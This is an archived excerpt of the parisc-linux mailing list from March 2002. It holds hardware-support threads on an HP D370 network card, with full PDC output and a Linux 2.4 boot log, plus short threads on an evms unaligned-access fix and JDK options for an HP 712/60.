List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14258

I have a (brand new) 10/100 ethernet card that I was hoping to use in a D360.
This would give the D360 a little boost in throughput!
When I inserted it and did an "IN ALL", the card was listed as a "DMA I/O" 
at path 8/8. When I booted the scan found an HSC-PCI card.
However nothing else happens. Is this supported? Do I have to reconfigure 
the kernel somehow?

Here are the 2 selected parts of the PDC output and the I/O scan:

I/O MODULE INFORMATION


                                                                    IODC   IODC

Path (dec)   Type                Bus Slot Mod HVERSION  SVERSION   Vers   Dep

----         ----                --- ---- --- -------- ---------- ------ ------

8            I/O Adapter           0   2   0   0x580f  0x10000b50  0x00   0x00

8/4          A DMA I/O             1   1   0   0x0131  0x00008980  0x98   0x00

8/8          A DMA I/O             1   2   0   0x0040  0x00009d80  0x00   0x00

8/16         Bus Adapter           1   4   0   0x02f0  0x00008100  0x00   0x00

8/16/4       Built-in RS232       16   1   0   0x02f0  0x00008c00  0x00   0x00

8/16/5       Built-in SE SCSI     16   1   1   0x02f0  0x00008280  0x01   0x00

8/16/6       Built-in LAN         16   1   2   0x02f0  0x00008a00  0x02   0x00

8/16/0       Built-in Parallel    16   0   0   0x02f0  0x00007400  0x00   0x00

8/16/7       Built-in Keyboard    16   1   3   0x02f0  0x00008400  0x00   0x00

8/16/8       Built-in Mouse       16   2   0   0x02f0  0x00008400  0x00   0x00

8/20         Bus Adapter           1   5   0   0x0310  0x00008e00  0x00   0x00

8/20/5       Bus Adapter          20   1   1   0x0310  0x00009000  0x00   0x00

8/20/2       RS232 Port           20   0   2   0x0310  0x00008c00  0x00   0x00

10           I/O Adapter           0   2   2   0x580f  0x10000b50  0x00   0x00



<Press any key to continue (q to quit)>






Found devices:

1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580, 0xf, 0xb

2. Bluefish Add-on FW-SCSI (4) at 0xf1004000 [8/4], versions 0x13, 0x1, 0x89

3. HP HSC-PCI Cards (4) at 0xf1008000 [8/8], versions 0x4, 0x0, 0x9d

4. UL 550 Lasi Core BA (11) at 0xffd00000 [8/16], versions 0x2f, 0x0, 
0x81,  additional addresses: 0xffc00000

5. UL 550 Core Centronics (10) at 0xffd02000 [8/16/0], versions 0x2f, 0x0, 
0x74,  additional addresses: 0xffd03000

6. UL 550 Lasi Core RS-232 (10) at 0xffd05000 [8/16/4], versions 0x2f, 0x0, 
0x8c

7. UL 550 Core SCSI (10) at 0xffd06000 [8/16/5], versions 0x2f, 0x0, 0x82

8. UL 350 Core LAN (802.3) (10) at 0xffd07000 [8/16/6], versions 0x2f, 0x0, 
0x8a

9. UL 550 Core PS/2 Port (10) at 0xffd08000 [8/16/7], versions 0x2f, 0x0, 0x84

10. UL 550 Core PS/2 Port (10) at 0xffd08100 [8/16/8], versions 0x2f, 0x0, 0x84

11. UL 550 Core Wax BA (11) at 0xffe00000 [8/20], versions 0x31, 0x0, 0x8e

12. UL 550 Wax Core RS-232 (10) at 0xffe02000 [8/20/2], versions 0x31, 0x0, 
0x8c

13. UL 550 Wax EISA BA (11) at 0xfc000000 [8/20/5], versions 0x31, 0x0, 0x90

14. U2-IOA BC GSC+ Port (7) at 0xf103f000 [8/63], versions 0x501, 0x1, 0xc

15. U2-IOA BC Runway Port (12) at 0xfff8a000 [10], versions 0x580, 0xf, 0xb

16. U2-IOA BC GSC+ Port (7) at 0xf183f000 [10/63], versions 0x501, 0x1, 0xc

17. UL 1w U160 512K/512K (861/D270,D370) (0) at 0xfffa0000 [32], versions 
0x5a2, 0x0, 0x4

18. UL 1 way U160 512K/512K memory (1) at 0xfffb1000 [49], versions 0x76, 
0x0, 0x9

CPU(s): 1 x PA8000 (PCX-U) at 160.000000 MHz

ccio found U2 at 0xfff88000

ccio found U2 at 0xfff8a000




Regards, Herb




From - Thu Nov 08 21:21:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evms-0.9.1 && hppa (follow ...)
Date: Thu, 07 Mar 2002 10:06:35 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20020307170635.4D95C4872@dsl2.external.hp.com>
References: <OF0AD397FF.17ED40BE-ONC1256B75.004D4BB9@com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621132 4185 80.91.229.3 (22 Nov 2014 01:52:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  7 10:06:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 4D95C4872; Thu,  7 Mar 2002 10:06:35 -0700 (MST)
In-Reply-To: Message from "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com> 
   of "Thu, 07 Mar 2002 15:32:31 +0100." <OF0AD397FF.17ED40BE-ONC1256B75.004D4BB9@com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14259

"=?iso-8859-1?Q?Jo=EBl_Soete?=" wrote:
...
> I am not quiet sure to be absolutely right but for a first test, I only
> change "user_parms->buffer_address" by "tmp.buffer_address"
> and the system does not anymore crashes:

Excellent. That was too easy.

...
> As you can see it is not yes perfect because: "evms_vgscan(267): unaligned
> access to 0x00022efe at ip=3D0x40207d8f"

The kernel should be dealing with unaligned access - the msg is a
warning since it will have substantial performance impact.

> and also logs a lot of data page fault:

Yeah - gdb to debug those.

...
> Humm ... have you an idea why this problem did not appears for this i386 or
> ppc (the two official supported till now)?

Dunno. Luck?
Those arches may not be as sensitive to address space issues.

welcome,
grant



From - Thu Nov 08 21:21:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tilo Jandt <tilo@jandt-online.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] JDK
Date: Thu, 07 Mar 2002 18:12:59 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <5.0.2.1.2.20020307181121.00b2d8e8@mailbox.hrz.tu-chemnitz.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416621133 4188 80.91.229.3 (22 Nov 2014 01:52:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  7 10:15:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from meg.hrz.tu-chemnitz.de (meg.hrz.tu-chemnitz.de [134.109.132.57])
	by dsl2.external.hp.com (Postfix) with ESMTP id 181CF4879
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Mar 2002 10:15:18 -0700 (MST)
Original-Received: from pat.hrz.tu-chemnitz.de ([134.109.132.143] ident=mail)
	by meg.hrz.tu-chemnitz.de with esmtp (Exim 3.32 #3)
	id 16j1U3-0007Tk-00
	for parisc-linux@lists.parisc-linux.org; Thu, 07 Mar 2002 18:15:15 +0100
Original-Received: from gerd.csn.tu-chemnitz.de ([134.109.88.146] helo=gerd.jandt-online.net)
	by pat.hrz.tu-chemnitz.de with esmtp (Exim 3.32 #2)
	id 16j1U3-0004To-00
	for parisc-linux@lists.parisc-linux.org; Thu, 07 Mar 2002 18:15:15 +0100
X-Sender: pt7606182-tilo@pop.puretec.de
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14260

Hi,

is there any JDK I can use with my HP 712/60?
I tried the Sun JDK but I can't compile it.

Does anyone know what to do?

cya,
Tilo





From - Thu Nov 08 21:21:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J3515 10/100 NIC
Date: Thu, 07 Mar 2002 10:16:02 -0700
Lines: 7
Approved: news@gmane.org
Message-ID: <20020307171602.A6EF9487B@dsl2.external.hp.com>
References: <5.1.0.14.0.20020307110937.026af020@mail.magma.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621133 4190 80.91.229.3 (22 Nov 2014 01:52:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Herb Radford <herbr@magma.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  7 10:16:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A6EF9487B; Thu,  7 Mar 2002 10:16:02 -0700 (MST)
In-Reply-To: Message from Herb Radford <herbr@magma.ca> 
   of "Thu, 07 Mar 2002 11:17:28 EST." <5.1.0.14.0.20020307110937.026af020@mail.magma.ca> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14261

Herb Radford wrote:
> However nothing else happens. Is this supported? Do I have to reconfigure 
> the kernel somehow?

Can you post full boot output? and "ifconfig -a" output?



From - Thu Nov 08 21:21:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] JDK
Date: Thu, 7 Mar 2002 09:22:32 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20020307172232.GD1883@tausq.org>
References: <5.0.2.1.2.20020307181121.00b2d8e8@mailbox.hrz.tu-chemnitz.de>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621133 4198 80.91.229.3 (22 Nov 2014 01:52:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tilo Jandt <tilo@jandt-online.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  7 10:22:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 072504881
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Mar 2002 10:22:58 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id ukqwlaaa for parisc-linux@lists.parisc-linux.org; Thu, 7 Mar 2002 10:22:15 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16j1b6-0008Bl-00; Thu, 07 Mar 2002 09:22:32 -0800
Content-Disposition: inline
In-Reply-To: <5.0.2.1.2.20020307181121.00b2d8e8@mailbox.hrz.tu-chemnitz.de>
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14262

> is there any JDK I can use with my HP 712/60?
> I tried the Sun JDK but I can't compile it.

I doubt the Sun JDK is supported on parisc-linux...

> Does anyone know what to do?

jikes is available on hppa-linux (apt-get install jikes), although I haven't
tried it myself.  Getting kaffe to work would be ideal, although last time 
I looked at it there's still quite a bit of porting work to do.

randolph
-- 
Debian Developer <tausq@debian.org>
http://www.TauSq.org/



From - Thu Nov 08 21:21:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herb Radford <herbr@magma.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J3515 10/100 NIC
Date: Thu, 07 Mar 2002 12:52:46 -0500
Lines: 643
Approved: news@gmane.org
Message-ID: <5.1.0.14.0.20020307125054.026b3d40@mail.magma.ca>
References: <Message from Herb Radford <herbr@magma.ca>
 <5.1.0.14.0.20020307110937.026af020@mail.magma.ca>
 <5.1.0.14.0.20020307110937.026af020@mail.magma.ca> <20020307171602.A6EF9487B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416621134 4200 80.91.229.3 (22 Nov 2014 01:52:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  7 10:52:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.istop.com (cpu1693.adsl.bellglobal.com [206.47.27.174])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4096A487D
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Mar 2002 10:52:57 -0700 (MST)
Original-Received: from old@istop.magma.ca (herbr.istop.com [216.187.107.13])
	by ns.istop.com (Postfix) with ESMTP
	id F0BF517054; Thu,  7 Mar 2002 12:53:15 -0500 (EST)
X-Sender: herbr@mail.magma.ca
X-Mailer: QUALCOMM Windows Eudora Version 5.1
In-Reply-To: <20020307171602.A6EF9487B@dsl2.external.hp.com>
Original-References: <Message from Herb Radford <herbr@magma.ca>
 <5.1.0.14.0.20020307110937.026af020@mail.magma.ca>
 <5.1.0.14.0.20020307110937.026af020@mail.magma.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14263

At 10:16 AM 3/7/02 -0700, Grant Grundler wrote:
>Herb Radford wrote:
> > However nothing else happens. Is this supported? Do I have to reconfigure
> > the kernel somehow?
>
>Can you post full boot output? and "ifconfig -a" output?

Well, Grant, that doesn't show much. But here it is:







Firmware Version  38.40



Duplex Console IO Dependent Code (IODC) revision 0



------------------------------------------------------------------------------

    (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved

------------------------------------------------------------------------------



   Processor   Speed            State           Coprocessor State  Cache Size

   ---------  --------   ---------------------  -----------------  ----------

       0       160 MHz   Active                 Functional          512 KB



   Central Bus Speed (in MHz)  :        120



   Model: D370/1



   Available memory (bytes)    :  536870912

   Good memory required (bytes):   43753472



   Primary boot path:    8/4.4   (dec)

   Alternate boot path:  8/16/5.0   (dec)

   Console path:         8/20/1.0   (dec)

   Keyboard path:        8/16/7.0   (dec)



------- Main Menu -------------------------------------------------------------



         Command                         Description

         -------                         -----------

         BOot [PRI|ALT|<path>]           Boot from specified path

         PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path

         SEArch [DIsplay|IPL] [<path>]   Search for boot devices



         COnfiguration [<command>]       Access Configuration menu/commands

         INformation [<command>]         Access Information menu/commands

         SERvice [<command>]             Access Service menu/commands



         DIsplay                         Redisplay the current menu

         HElp [<menu>|<command>]         Display help for menu or command

         RESET                           Restart the system

-------

Main Menu: Enter command > bo pri

Interact with IPL (Y, N, or Cancel)?> n



Booting...

Boot IO Dependent Code (IODC) revision 152





HARD Booted.

palo ipl 0.97 root@c3k Tue Nov 27 14:51:48 MST 2001



Partition Start(MB) End(MB) Id Type


1               1      23   f0 Palo


2              24     511   82 swap


3             512     999   83 ext2


4            1000    2032   83 ext2




PALO(F0) partition contains:

     0/vmlinux32 3122078 bytes @ 0x48000



Information: No console specified on kernel command line. This is normal.

PALO will choose the console currently  used by firmware (serial).

Command line for kernel: 'root=/dev/sda3 HOME=/ console=ttyS0 TERM=vt102'

Selected kernel: /boot/vmlinux from partition 3

ELF32 executable

Entry 00100168 first 00100000 n 6

Segment 0 load 00100000 size 1747032 mediaptr 0x1000

Segment 1 load 002ac000 size 283128 mediaptr 0x1ac000

Segment 2 load 002f4000 size 393476 mediaptr 0x1f2000

Segment 3 load 00358000 size 8192 mediaptr 0x253000

Segment 4 load 00360000 size 32768 mediaptr 0x255000

Segment 5 load 0039f014 size 91456 mediaptr 0x25d014

Branching to kernel entry point 0x00100168.  If this is the last

message you see, you may need to switch your console.  This is

a common symptom -- search the FAQ and mailing list at parisc-linux.org



Linux version 2.4.16-pa29 (bame@dsl2) (gcc version 3.0.2 (Debian)) #1 Sat 
Dec 29 11:32:07 MST 2001

FP[0] enabled: Rev 0 Model 14

The 32-bit Kernel has started...

Determining PDC firmware type: System Map.

model 00005a20 00000481 00000000 00000002 7817542d 100000f0 00000008 
000000b2 000000b2

vers  00000301

CPUID vers 14 rev 11 (0x000001cb)

model 9000/861/D370

Total Memory: 512 Mb

pagetable_init

On node 0 totalpages: 131072

zone(0): 131072 pages.

zone(1): 0 pages.

zone(2): 0 pages.

Kernel command line: root=/dev/sda3 HOME=/ console=ttyS0 TERM=vt102

Console: colour dummy device 160x64

Calibrating delay loop... 319.48 BogoMIPS

Memory: 513196k available

Dentry-cache hash table entries: 65536 (order: 7, 524288 bytes)

Inode-cache hash table entries: 32768 (order: 6, 262144 bytes)

Mount-cache hash table entries: 8192 (order: 4, 65536 bytes)

Buffer-cache hash table entries: 32768 (order: 5, 131072 bytes)

Page-cache hash table entries: 131072 (order: 7, 524288 bytes)

Searching for devices...

Found devices:

1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580, 0xf, 0xb

2. Bluefish Add-on FW-SCSI (4) at 0xf1004000 [8/4], versions 0x13, 0x1, 0x89

3. HP HSC-PCI Cards (4) at 0xf1008000 [8/8], versions 0x4, 0x0, 0x9d

4. UL 550 Lasi Core BA (11) at 0xffd00000 [8/16], versions 0x2f, 0x0, 
0x81,  additional addresses: 0xffc00000

5. UL 550 Core Centronics (10) at 0xffd02000 [8/16/0], versions 0x2f, 0x0, 
0x74,  additional addresses: 0xffd03000

6. UL 550 Lasi Core RS-232 (10) at 0xffd05000 [8/16/4], versions 0x2f, 0x0, 
0x8c

7. UL 550 Core SCSI (10) at 0xffd06000 [8/16/5], versions 0x2f, 0x0, 0x82

8. UL 350 Core LAN (802.3) (10) at 0xffd07000 [8/16/6], versions 0x2f, 0x0, 
0x8a

9. UL 550 Core PS/2 Port (10) at 0xffd08000 [8/16/7], versions 0x2f, 0x0, 0x84

10. UL 550 Core PS/2 Port (10) at 0xffd08100 [8/16/8], versions 0x2f, 0x0, 0x84

11. UL 550 Core Wax BA (11) at 0xffe00000 [8/20], versions 0x31, 0x0, 0x8e

12. UL 550 Wax Core RS-232 (10) at 0xffe02000 [8/20/2], versions 0x31, 0x0, 
0x8c

13. UL 550 Wax EISA BA (11) at 0xfc000000 [8/20/5], versions 0x31, 0x0, 0x90

14. U2-IOA BC GSC+ Port (7) at 0xf103f000 [8/63], versions 0x501, 0x1, 0xc

15. U2-IOA BC Runway Port (12) at 0xfff8a000 [10], versions 0x580, 0xf, 0xb

16. U2-IOA BC GSC+ Port (7) at 0xf183f000 [10/63], versions 0x501, 0x1, 0xc

17. UL 1w U160 512K/512K (861/D270,D370) (0) at 0xfffa0000 [32], versions 
0x5a2, 0x0, 0x4

18. UL 1 way U160 512K/512K memory (1) at 0xfffb1000 [49], versions 0x76, 
0x0, 0x9

CPU(s): 1 x PA8000 (PCX-U) at 160.000000 MHz

ccio found U2 at 0xfff88000

ccio found U2 at 0xfff8a000

ccio-dma.c: failed to claim CCIO bus address space!

Lasi version 0 at 0xffd00000 found.

LED display at ffd0c000 registered

Wax at 0xffe00000 found.

Wax: HIL Keyboard-NMI registered.

Wax EISA Adapter found at 0xfc000000

EISA: failed to claim EISA Bus address space!

Warning : device (11, 0x31, 0x0, 0x90) NOT claimed by EISA Bus Adapter

Dino version 3.x (card mode) found at 0xf1008000

Dino: Failed to allocate memory region

POSIX conformance testing by UNIFIX

Linux NET4.0 for Linux 2.4

Based upon Swansea University Computer Society NET3.039

Enabled soft power switch (polling mode, io=0xf0140000).

Starting kswapd

parport_init_chip: initialize bidirectional-mode.

parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]

pty: 256 Unix98 ptys configured

Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ 
SERIAL_PCI enabled

ttyS00 at iomem 0xffd05800 (irq = 90) is a 16550A

ttyS01 at iomem 0xffe02800 (irq = 121) is a 16550A

PS/2 keyboard port at 0xffd08000 (irq 69) found, no device attached.

PS/2 psaux port at 0xffd08100 (irq 69) found, no device attached.

lp0: using parport0 (interrupt-driven).

Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)

block: 128 slots per queue, batch=32

RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize

loop: loaded (max 8 devices)

Linux Tulip driver version 0.9.15-pre9 (Nov 6, 2001)

PCI: Unable to reserve I/O region #1:80@f364d800 for device 00:01.0

Trying to free nonexistent resource <f364d800-f364d87f>

Trying to free nonexistent resource <43695000-4369507f>

Found i82596 at 0xffd07000, IRQ 87

eth0: 82596 at 0xffd07000, 08 00 09 D2 0C 1E IRQ 87.

82596.c $Revision: 1.27 $

SCSI subsystem driver Revision: 1.00

zalon_scsi_callback: Zalon vers field is 0x1, IRQ 35

ncr53c8xx: 53c720 detected

ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential

scsi0 : ncr53c8xx-3.4.3b-20010512

   Vendor: SEAGATE   Model: ST32171W          Rev: HPC1

   Type:   Direct-Access                      ANSI SCSI revision: 02

   Vendor: SEAGATE   Model: ST32171W          Rev: HPC1

   Type:   Direct-Access                      ANSI SCSI revision: 02

   Vendor: SEAGATE   Model: ST32171W          Rev: HPC1

   Type:   Direct-Access                      ANSI SCSI revision: 02

   Vendor: SEAGATE   Model: ST34572WC         Rev: HP03

   Type:   Direct-Access                      ANSI SCSI revision: 02

   Vendor: SEAGATE   Model: ST34572WC         Rev: HP03

   Type:   Direct-Access                      ANSI SCSI revision: 02

53c700: Version 2.6 By James.Bottomley@HansenPartnership.com

scsi1: 53c710 rev 2

scsi1 : LASI SCSI 53c700

scsi1: (2:0) Synchronous at offset 8, period 100ns

   Vendor: TOSHIBA   Model: CD-ROM XM-5701TA  Rev: 1557

   Type:   CD-ROM                             ANSI SCSI revision: 02

Attached scsi disk sda at scsi0, channel 0, id 4, lun 0

Attached scsi disk sdb at scsi0, channel 0, id 8, lun 0

Attached scsi disk sdc at scsi0, channel 0, id 9, lun 0

Attached scsi disk sdd at scsi0, channel 0, id 10, lun 0

Attached scsi disk sde at scsi0, channel 0, id 11, lun 0

ncr53c720-0-<4,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)

SCSI device sda: 4165272 512-byte hdwr sectors (2133 MB)

Partition check:

  sda: sda1 sda2 sda3 sda4

ncr53c720-0-<8,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)

SCSI device sdb: 4165272 512-byte hdwr sectors (2133 MB)

  sdb: sdb1

ncr53c720-0-<9,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)

SCSI device sdc: 4165272 512-byte hdwr sectors (2133 MB)

  sdc: unknown partition table

ncr53c720-0-<10,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)

SCSI device sdd: 8388314 512-byte hdwr sectors (4295 MB)

  sdd: unknown partition table

ncr53c720-0-<11,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)

SCSI device sde: 8388314 512-byte hdwr sectors (4295 MB)

  sde: unknown partition table

Attached scsi CD-ROM sr0 at scsi1, channel 0, id 2, lun 0

sr0: scsi-1 drive

Uniform CD-ROM driver Revision: 3.12

sticonsole_init: searching for STI ROMs

BUG: Skipping previously registered driver: sti (native)

md: linear personality registered as nr 1

md: raid0 personality registered as nr 2

md: raid1 personality registered as nr 3

md: raid5 personality registered as nr 4

raid5: measuring checksumming speed

    8regs     :   350.800 MB/sec

    8regs_prefetch:   350.800 MB/sec

    32regs    :   272.400 MB/sec

    32regs_prefetch:   272.400 MB/sec

raid5: using function: 8regs_prefetch (350.800 MB/sec)

md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27

md: Autodetecting RAID arrays.

md: autorun ...

md: ... autorun DONE.

NET4: Linux TCP/IP 1.0 for NET4.0

IP Protocols: ICMP, UDP, TCP, IGMP

IP: routing cache hash table of 4096 buckets, 32Kbytes

TCP: Hash tables configured (established 32768 bind 65536)

